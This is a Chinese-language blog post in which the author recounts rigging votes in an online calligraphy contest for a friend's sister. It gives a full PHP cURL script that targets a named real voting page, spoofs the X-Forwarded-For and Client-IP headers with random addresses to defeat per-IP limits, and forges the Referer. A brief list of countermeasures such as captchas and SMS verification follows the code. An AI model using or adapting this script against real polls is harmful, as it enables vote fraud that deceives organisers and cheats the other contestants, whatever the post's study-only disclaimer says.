PHP刷投票,讓你高居榜首!本文附上刷票方法和防禦策略。
案例為一個半月以前。沒有及時放出原因有二,一是因為部落格網域名稱備案沒有下來,沒有心情寫東西。二是最主要的,及時放出對案例網站有嚴重的損害,不是我等IT人應有的。
Ps:刷票有風險,使用需謹慎。本文謹做學習研究討論之用,不可用作不正當用途!
本文為本部落格的處女之作,題材源於近日一朋友要求,是因為她的姐姐參加了一個書法比賽,問我能不能在網站上刷投票。作為剛剛出道一年的小菜鳥,我很惶恐。一年前剛剛接觸PHP的時候,完全不知道做,現在第一反應就是Curl。
廢話不多說了,直接上代碼。
<?php
header('Content-type: text/html; charset=gb2312');
//隨機產生IP
$ip1 = rand(101, 255).'.';
$ip2 = rand(1, 255).'.';
$ip3 = rand(1, 255).'.';
$ip4 = rand(1, 255);
$ip = $ip1 . $ip2 . $ip3 . $ip4;
$clientIp = 'CLIENT-IP:'.$ip;
$xforwarded = 'X-FORWARDED-FOR:'.$ip;
//設定目標和來源
$url = 'http://www.dunhuangwomen.org.cn/vote/Vote.asp?id=67';
$referer = 'http://www.dunhuangwomen.org.cn/vote/list.asp?id=2';
//Curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); //目標
curl_setopt($ch, CURLOPT_HTTPHEADER, array($xforwarded, $clientIp)); //構造IP
curl_setopt($ch, CURLOPT_REFERER, $referer); //來源
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$ret = curl_exec($ch);
curl_close($ch);
echo $ret;
?>
好,來分析一下。
1、仿造IP,網站有限制一個IP在一天只可以投一次
2、填寫來源,網站會判斷請求的來源是否合法路徑
其他就是Curl的常規了選項了。
如何防治?
本人才疏學淺,僅作跑磚引玉。
1、限制IP
本文已經破解
2、限制來源
本文已經破解
3、驗證碼。作為最反人類的發明之一,可以使用這個擁有高大上的名字的全自動區分電腦和人類的圖靈測試。
可用Opencv。
4、記錄MAC地址。
理論上每塊網卡都有一個唯一的MAC地址,如果更改可能引起衝突而無法上網。目前也可以用軟體修改
5、註冊會員
雖說仍然可以突破驗證碼,Curl填寫參數然後POST過去,但是門檻畢竟高了一丁點,還是忽略吧。
6、手機
投票時輸入手機號和簡訊驗證碼,成本高,單位不願意。使用者發送某某指令到某某,使用者自掏腰包,使用者不願意。
目前來說,只有驗證碼,手機並且驗證手機的有效性是最好的防治措施。